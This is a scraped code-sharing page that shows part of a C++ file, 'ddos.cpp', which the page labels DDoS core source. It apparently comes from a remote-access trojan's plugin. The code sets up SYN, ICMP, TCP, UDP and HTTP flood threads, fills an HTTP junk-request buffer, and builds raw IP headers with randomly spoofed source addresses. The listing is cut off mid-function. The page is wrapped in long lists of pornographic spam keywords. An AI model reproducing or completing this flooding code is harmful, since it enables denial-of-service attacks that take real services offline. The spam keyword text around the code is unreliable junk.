亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ddos.cpp

?? DDOS核心源碼
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
#pragma warning( disable : 4530 )
#pragma warning( disable : 4786 )

#include <winsock2.h>
#ifdef _VIPSHELL_ALL
#include "../ServerAll/PlugDef.h"
#else
#include "PlugDef.h"
#endif
#include <windows.h>




#include <Wininet.h>
#define IP_HDRINCL      2 /* header is included with data */
//
//



#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Wininet.lib")

#define    PacketNum 4096 
static char SendBuff[PacketNum][60] = {0};

const char icmpBuffer[4000]=
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp";

USHORT checksum(USHORT *buffer, int size)
{ 
	unsigned long cksum=0;
	while(size >1)
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size)
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}

DWORD WINAPI Threadsyn_flood(LPVOID lp )
{
	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );
	pThis->syn_flood( strIp.c_str(), port );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}
DWORD WINAPI Threadicmp_flood(LPVOID lp )
{
	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );
	pThis->icmp_flood( strIp.c_str(), port );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}

DWORD WINAPI Threadtcp_flood(LPVOID lp )
{

	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );
	CPinboardPtr<I_Buffer> spBuffer;
	pThis->GetSendBuffer( &spBuffer );
	pThis->tcp_flood( strIp.c_str(), port ,  spBuffer );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}
DWORD WINAPI Threadhttp_flood(LPVOID lp )
{
	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );
	std::wstring strUrl;
	pThis->GetUrl( &strUrl );
	pThis->http_flood( strUrl.c_str() );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}

DWORD WINAPI ThreadUdp_flood(LPVOID lp )
{

	CDDos* pThis = (CDDos*)lp;
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Run );
	std::string strIp;
	USHORT port;
	pThis->GetAddr( &strIp, &port );

	pThis->udp_flood( strIp.c_str(), port  );
	pThis->SetIsStop( false );
	pThis->SetWorkType( enumDDosType_Stop );
	return 0;
}
CDDos::~CDDos()
{
}

bool CDDos::InitInstance()
{
	CreateBuffer( &m_spBuffer );
	SetWorkType( enumDDosType_Stop );
	return true;
}

bool CDDos::SetDDosUrl(LPCWSTR szUrl) 
{
	CMySingleLock lock(&m_Locker);
	m_strUrl = szUrl;
		return true;
}
bool CDDos::SetAddr(char* szIp, USHORT port) 
{
	CMySingleLock lock(&m_Locker);
	m_strip = szIp;
	m_port = port;
		return true;
}
bool CDDos::SetSendBuff(BYTE* p, size_t nlen) 
{
	CMySingleLock lock(&m_Locker);
	m_spBuffer->Append( p, nlen );
		return true;
}
bool CDDos::StartsynDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_syn;
	CreateThread( 0, 0, Threadsyn_flood, this, 0 ,0);
	return true;
}
bool CDDos::StarticmpDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_icmp;
	CreateThread( 0, 0, Threadicmp_flood, this, 0 ,0);
	return true;
}
bool CDDos::StarttcpDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_tcp;
	CreateThread( 0, 0, Threadtcp_flood, this, 0 ,0);
	
	return true;
}
bool CDDos::StartudpDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_udp;
	CreateThread( 0, 0, ThreadUdp_flood, this, 0 ,0);
	return true;
}
bool CDDos::StarthttpDDos() 
{
	CMySingleLock lock(&m_Locker);
	if( m_worktype == enumDDosType_Run )
		return false;
	m_type = DdosType_http;
	CreateThread( 0, 0, Threadhttp_flood, this, 0 ,0);
	
	return true;
}
bool CDDos::GetType(enumDdosType* type)
{
	CMySingleLock lock(&m_Locker);
	*type = m_type;
	return true;

}
bool CDDos::GetWorkType(enumDDosWorkType* type)
{
	CMySingleLock lock(&m_Locker);
	*type = m_worktype;
	return true;
}
bool CDDos::Stop() 
{
	{{
		CMySingleLock lock(&m_Locker);
		if( m_worktype == enumDDosType_Stop )
			return true;
		SetIsStop( true );
	}}
	while(true)
	{
		Sleep(10);
		if( !IsStop() )
			return true;
	}
	return true;
}

bool CDDos::IsStop()
{
	CMySingleLock lock(&m_Locker);
	return m_IsStop;
}
bool CDDos::SetIsStop(bool f )
{
	CMySingleLock lock(&m_Locker);
	m_IsStop = f;
	return true;
}
bool CDDos::SetWorkType(enumDDosWorkType type)
{
	CMySingleLock lock(&m_Locker);
	m_worktype = type;
	return true;
}
bool CDDos::GetAddr(std::string* pStr, USHORT* port) 
{
	CMySingleLock lock(&m_Locker);
	*pStr = m_strip;
	*port = m_port;
	return true;
}
bool CDDos::GetSendBuffer(I_Buffer** ppv)
{
	CMySingleLock lock(&m_Locker);
	CPinboardPtr<I_Buffer> spBuffer = m_spBuffer;
	*ppv = spBuffer.detach();
	return true;
}
bool CDDos::GetUrl(std::wstring* pStr)
{
	CMySingleLock lock(&m_Locker);
	*pStr = m_strUrl;
	return true;
}

void fill_syn_buffer(const char* szip, USHORT nProt)
{
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);

	IP_HEADER    IpHeader; 
	TCP_HEADER   TcpHeader; 
	PSD_HEADER   PsdHeader; 

	srand(GetTickCount()); 
	
	char         src_ip[20] = {0};
	for ( int n = 0; n < PacketNum; n++ ) 
	{ 
			wsprintfA( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); 
			//填充IP首部 
			IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long)); 
			IpHeader.tos = 0; 
			IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader)); 
			IpHeader.ident = 1; 
			IpHeader.frag_and_flags = 0x40; 
			IpHeader.ttl = 128; 
			IpHeader.proto = IPPROTO_TCP; 
			IpHeader.checksum = 0; 
			IpHeader.sourceIP = inet_addr(src_ip); 
			IpHeader.destIP = inet_addr(szip); 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲自拍偷拍欧美| 日本亚洲一区二区| 日韩国产欧美在线观看| 91亚洲午夜精品久久久久久| 成人免费一区二区三区视频| 麻豆国产一区二区| av一二三不卡影片| 日韩不卡在线观看日韩不卡视频| 国产精品拍天天在线| 日本麻豆一区二区三区视频| 91免费观看在线| 国产三级久久久| 久久se精品一区二区| 色久综合一二码| 中文字幕成人网| 精品一区二区在线播放| 欧美人与z0zoxxxx视频| 亚洲日穴在线视频| 成人黄页毛片网站| 久久久精品国产99久久精品芒果 | 日本不卡一区二区| 欧美综合久久久| 欧美视频在线播放| 亚洲另类在线一区| 成人免费黄色在线| 久久综合久久99| 久久成人免费日本黄色| 欧美高清你懂得| 亚洲国产精品一区二区久久恐怖片 | 午夜精品久久久| 91精品福利视频| 一区二区三区在线观看视频| 91视频国产观看| 亚洲色图第一区| 色婷婷精品久久二区二区蜜臀av| 国产精品国产精品国产专区不蜜 | 亚洲综合小说图片| 91网站最新网址| 综合激情成人伊人| 91免费国产在线观看| 亚洲精品高清视频在线观看| 色美美综合视频| 一区二区理论电影在线观看| 欧美在线你懂的| 日韩福利电影在线观看| 7777精品伊人久久久大香线蕉最新版| 亚洲一区二区四区蜜桃| 在线观看91精品国产麻豆| 婷婷久久综合九色综合绿巨人| 欧美日韩国产另类一区| 日韩va欧美va亚洲va久久| 欧美一级xxx| 国产高清不卡二三区| 一色桃子久久精品亚洲| 91国偷自产一区二区三区观看| 亚洲成av人**亚洲成av**| 日韩网站在线看片你懂的| 热久久一区二区| 久久嫩草精品久久久精品一| 波多野结衣中文字幕一区二区三区| 亚洲欧美日韩电影| 欧美精品在线观看一区二区| 国产乱色国产精品免费视频| 亚洲视频在线一区| 91精品国产免费| 欧美色中文字幕| 麻豆精品一区二区| 国产亚洲1区2区3区| 欧美亚洲免费在线一区| 黑人精品欧美一区二区蜜桃| 中文字幕一区二区三区四区| 欧美色图激情小说| 久久精品理论片| 亚洲精品免费一二三区| 精品久久久久久久久久久院品网| 高潮精品一区videoshd| 视频一区在线播放| 国产精品毛片久久久久久| 在线播放91灌醉迷j高跟美女| 精品一区二区三区av| 色狠狠av一区二区三区| 久久亚洲综合色| 欧美不卡视频一区| 奇米四色…亚洲| 国产精品国产三级国产| 制服丝袜亚洲精品中文字幕| 成人激情校园春色| 久久99精品国产麻豆婷婷 | 国产精品久久久久国产精品日日| 欧美亚洲综合久久| 不卡一区二区三区四区| 久久se精品一区二区| 亚洲午夜国产一区99re久久| 国产日韩欧美一区二区三区乱码 | 99久久久免费精品国产一区二区| 日韩经典一区二区| 亚洲精品午夜久久久| 亚洲成a人v欧美综合天堂下载 | 欧美国产成人精品| 日韩美女在线视频| 欧美色图第一页| 色综合夜色一区| 成人黄色片在线观看| 国产老肥熟一区二区三区| 日韩av一区二区三区四区| 亚洲精品一二三| 中文字幕欧美一| 国产精品乱码一区二区三区软件| 久久久久久一二三区| 精品美女一区二区| 欧美电影免费观看高清完整版在线 | 自拍偷在线精品自拍偷无码专区 | 国产91在线|亚洲| 国产精品一品二品| 国产一区中文字幕| 国产一区二区视频在线播放| 美国毛片一区二区| 麻豆精品久久久| 老司机午夜精品| 精品亚洲aⅴ乱码一区二区三区| 日韩和欧美的一区| 麻豆久久久久久久| 精品一区二区三区免费观看| 精品一区二区三区的国产在线播放| 久久激情五月激情| 国产精品一区一区| 成人动漫一区二区三区| 成人精品小蝌蚪| 色婷婷一区二区| 欧美高清你懂得| 久久久久久亚洲综合影院红桃| 久久久三级国产网站| 中文字幕精品一区二区精品绿巨人| 亚洲国产精品ⅴa在线观看| 中文字幕一区三区| 夜夜精品视频一区二区| 日韩在线一区二区| 极品少妇xxxx偷拍精品少妇| 国产大片一区二区| 色婷婷香蕉在线一区二区| 欧美视频三区在线播放| 日韩欧美国产一区二区三区| 日韩免费电影一区| 国产精品女主播av| 亚洲午夜在线视频| 国产老肥熟一区二区三区| 91同城在线观看| 日韩午夜小视频| 综合激情成人伊人| 麻豆国产欧美一区二区三区| av资源站一区| 日韩一区二区三区免费看| 中文字幕国产一区| 亚洲午夜在线电影| 国产成人自拍网| 欧美色网一区二区| 国产欧美日韩在线| 亚洲成人免费电影| 丁香五精品蜜臀久久久久99网站 | 国产日韩亚洲欧美综合| 成人av资源在线| 3751色影院一区二区三区| 国产亚洲欧美中文| 午夜视频久久久久久| 成人伦理片在线| 91精品国产91热久久久做人人| 国产精品美女视频| 久久电影网站中文字幕| 日本丶国产丶欧美色综合| 久久女同互慰一区二区三区| 午夜精品一区在线观看| 成人中文字幕电影| ㊣最新国产の精品bt伙计久久| 亚洲成国产人片在线观看| fc2成人免费人成在线观看播放 | 久久九九国产精品| 日韩精品1区2区3区| 在线一区二区三区四区五区| 久久久久久久久久久久久久久99| 亚洲成人资源在线| 色婷婷亚洲精品| 国产精品久久久久久久岛一牛影视 | 欧美精品一区二区久久久| 中文字幕日本乱码精品影院| 国产精品资源在线看| 欧美一区二区免费观在线| 亚洲高清中文字幕| 一本到高清视频免费精品| 国产精品久久久久久久久久久免费看 | 成人黄色在线看| 久久精品网站免费观看| 久久精品国产久精国产爱| 欧美美女一区二区在线观看| 亚洲综合在线免费观看| 色婷婷综合久久久中文字幕| 亚洲欧洲日产国码二区| 成人黄页在线观看| 日韩一区日韩二区| 91麻豆自制传媒国产之光| 综合色天天鬼久久鬼色|